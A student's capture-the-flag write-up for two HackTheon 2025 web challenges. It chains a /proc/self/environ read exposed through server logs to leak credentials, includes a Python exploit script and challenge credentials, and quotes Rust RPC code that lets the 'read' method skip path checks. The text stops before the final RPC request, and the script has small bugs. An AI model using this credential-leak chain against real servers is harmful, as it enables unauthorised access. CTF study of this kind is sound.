Last weekend to be specific (26 April 2025), I’m joining the ‘2025 HackTheon Sejong’ International University Students’ Cyber Security Competition . My team name as “RE:UN10N Jr.”. It was really tough an totallyu differnet compare to last year challenge. We manage to secure 20th. Thanks to my teammate for carrying. (benkyou, Capang, hikki).
Frontdoor 1
Challenge Information
Category: Web
Difficulty: Easy
Objective: Exploit web vulnerabilities to retrieve the flag.
Tag: LFI
Flag: FLAG{Me7Hod_Ch4iN1nG_1s_5o_COoo0Oo00oO0ol}
Overview
The challenge provides source code along with a docker-compose.yaml file. Within this YAML configuration, user credentials are exposed, which can be used to log in via the /api/signin endpoint. After successful authentication, the flag is accessible at the /api/flag endpoint, using the same session.
However, while credentials are included in the provided files, the live challenge server uses different credentials. Thus, the real goal of the challenge is to leak the credentials from the server’s runtime environment.
Observed API Functionalities
The following functionalities were observed:
Endpoint
Method
Handler
Description
/api
GET
get_root_handler
Retrieves basic API information or a welcome message.
/api/health-check
GET
get_health_check_handler
Health check endpoint to verify server uptime and status.
/api/logs
GET
get_logs_handler
Fetch server logs. Supports level query parameter to control verbosity (e.g., error, warn, info, debug).
/api/monitor/{info}
GET
get_monitor_handler
Reads specified system files (like /proc/stat, /proc/meminfo, etc.) based on info argument.
/api/signin
POST
post_signin_handler
Allows users to authenticate with username and password.
/api/flag
GET
get_flag_handler (protected by middleware)
Retrieves the challenge flag after successful authentication.
Accessing /api/flag Requires valid authentication, enforced by the middleware middlewares::authorize.
The /api/logs endpoint supports log level selection through a query parameter (?level=warn, ?level=info, etc.), which is key to leaking internal warnings.
The /api/monitor/{info} The endpoint has file-read logic tied to /proc/, but improperly handled unknown paths are logged, leading to information disclosure.
Initial Analysis
In the provided Rust source code monitor.rs, we find that the endpoint /api/monitor/{info} handles requests for different types of system monitoring information.
The alias function maps specific keywords to files inside /proc/:
If info is not recognized, it logs the full info and the file content at warn level.
Full Exploitation Flow:
Read environment variables:
GET /api/monitor/self%2fenviron
The environment file contents are logged as a warning.
Fetch leaked logs:
GET /api/logs?level=warn
Extract leaked credentials from the environment variables.
Authenticate /api/signin and retrieve the flag from /api/flag.
Full Script.
import requests
import time
BASE_URL = "http://localhost:8080"
session = requests.Session()
def trigger_log_injection():
print("Triggering log injection")
resp = session.get(f"{BASE_URL}/api/monitor/self%2fenviro n")
if resp.status_code == 200:
print("Done.")
else:
print("Error.")
print(f"Status code: {resp.status_code}, Response: {resp.text}")
def fetch_leaked_logs():
print("See Logs")
resp = session.get(f"{BASE_URL}/api/logs?level=warn")
if resp.status_code == 200:
print("[+] Logs fetched successfully.")
print("\n=== Leaked Log Content Start ===\n")
print(resp.text)
print("\n=== Leaked Log Content End ===\n")
else:
print("[-] Failed to fetch logs.")
print(f"Status code: {resp.status_code}, Response: {resp.text}")
def login_and_get_flag(username, password):
print(f"[*] Login: {username}")
data = {
"username": username,
"password": password
}
resp = session.post(f"{BASE_URL}/api/signin", json=data)
if resp.status_code == 200:
print("[+] Login successful!")
fetch_flag()
else:
print("[-] Login failed.")
print(f"Status code: {resp.status_code}, Response: {resp.text}")
def fetch_flag():
print(" FLAG Retrieve.")
resp = session.get(f"{BASE_URL}/api/flag")
if resp.status_code == 200:
print("[+] Flag retrieved successfully!")
print(f"Flag: {resp.text}")
else:
print("[-] Failed to retrieve the flag.")
print(f"Status code: {resp.status_code}, Response: {resp.text}")
def main():
trigger_log_injection()
sleep(5)
fetch_leaked_logs()
print("[*] Now manually input the leaked username and password you found in the logs.")
username = input("Username: ").strip()
password = input("Password: ").strip()
login_and_get_flag(username, password)
if __name__ == "__main__":
main()
Frontdoor 2
Challenge Information
Category: Web
Difficulty: Easy
Objective: Exploit web vulnerabilities to retrieve the flag.
Tag: LFI
Challenge Overview
This challenge builds directly on the techniques from Frontdoor 1.
However, this time:
There is no /api/flag endpoint.
A new RPC system is introduced via the /api/rpc endpoint.
The objective is to read the flag file on the server via the RPC system after logging in.
Step-by-Step Solution
1. Credential Leak via /proc/self/environ
The first step remains identical to Frontdoor 1:
Trigger a log injection using:
GET /api/monitor/self%2fenviron
Fetch the leaked logs:
GET /api/logs?level=warn
Extract the credentials from the leaked environment variables.
Credentials used:
(Same as Frontdoor 1 credentials — e.g., s3cre7Guest1:G#3stAcc3ss!25)
2. Login to the Application
Using the leaked credentials:
Login via:
POST /api/signin
Content-Type: application/json
{
"username": "s3cre7Guest1",
"password": "G#3stAcc3ss!25"
}
A session is established upon successful login.
3. Interacting with /api/rpc
The /api/rpc endpoint allows remote method invocation.
It is controlled by the rpc.rs server-side code, specifically the append_session_dir() function.
Key Analysis of rpc.rs:
rustCopyEditasync fn append_session_dir(session: &Session, body: &mut PostRpcBody) -> bool {
let dir = match session.get::<PathBuf>("dir").await {
Ok(Some(dir)) => dir,
_ => return false,
};
let method = body.method.as_str();
if method == "close" || method == "read" || method == "write" || method == "exit" {
return true;
}
if body.params.is_empty() || body.params[0].param_type != 1 {
return false;
}
let path = match &body.params[0].value {
ParameterValue::Int(_) => return false,
ParameterValue::Str(s) => dir.join(s),
};
if !path.is_absolute() || path.is_symlink() {
return false;
}
body.params[0].value = ParameterValue::Str(path.to_str().unwrap().to_string());
true
}
What this does:
If the method is close, read, write, or exit, no path modification is done.
Otherwise, it forces any file path passed into an absolute path under the user's session directory (stored under session.get::<PathBuf>("dir")).
It rejects symbolic links and non-absolute paths.
✅ So, if we stick to method = read, we can avoid path modification!
4. Final Exploitation - Reading the Flag
Since read is one of the allowed methods without directory patching, we can directly request the flag file.
Assuming the flag file is something standard like /flag, or otherwise known, we craft the RPC call: